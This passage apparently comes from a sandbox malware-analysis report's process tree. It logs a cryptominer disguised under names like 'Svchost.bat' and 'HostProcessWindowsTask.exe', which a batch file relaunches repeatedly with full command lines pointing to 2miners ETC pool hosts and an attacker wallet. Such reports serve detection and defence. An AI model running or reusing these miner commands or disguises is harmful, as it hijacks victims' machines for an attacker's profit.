    - Command and Scripting Interpreter: PowerShell
    PID:2960
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nuru2pdq\nuru2pdq.cmdline"
      4⤵
      PID:5304
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9948.tmp" "c:\Users\Admin\AppData\Local\Temp\nuru2pdq\CSC51CF753BBC24489881B396AA85102ABB.TMP"
        5⤵
        
        PID:6092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4444
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4952
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5912
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5652
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3436
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:3444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:2016
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:3060
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4648
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:2084
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4744
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:1384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5624
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5240
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:5716
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:460
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4520
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:6148
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:2840
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:2500
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:5516
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:2736
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:3184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:1684
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3320
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4996
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6956
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:5724
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6652
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:2672
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5476
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:3780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:5772
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:6824
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:1292
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:2772
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6308
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6592
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5760
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7820
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:6400
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6916
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6508
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6776
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:6676
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7124
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6872
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7088
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5864
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:7060
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:2512
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:2296
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6176
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:2856
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6588
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5948
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:628
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6532
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7776
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:3740
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7248
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:2924
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6332
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:2892
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3552
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6824
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6868
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:1228
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:6748
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6916
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:7932
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7320
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:2576
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7484
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3552
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7708
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4856
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4336
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:8064
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6148
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7284
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7420
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:7092
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6100
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:2296
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7584
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7228
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5312
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7864
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7596
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:628
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3240
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
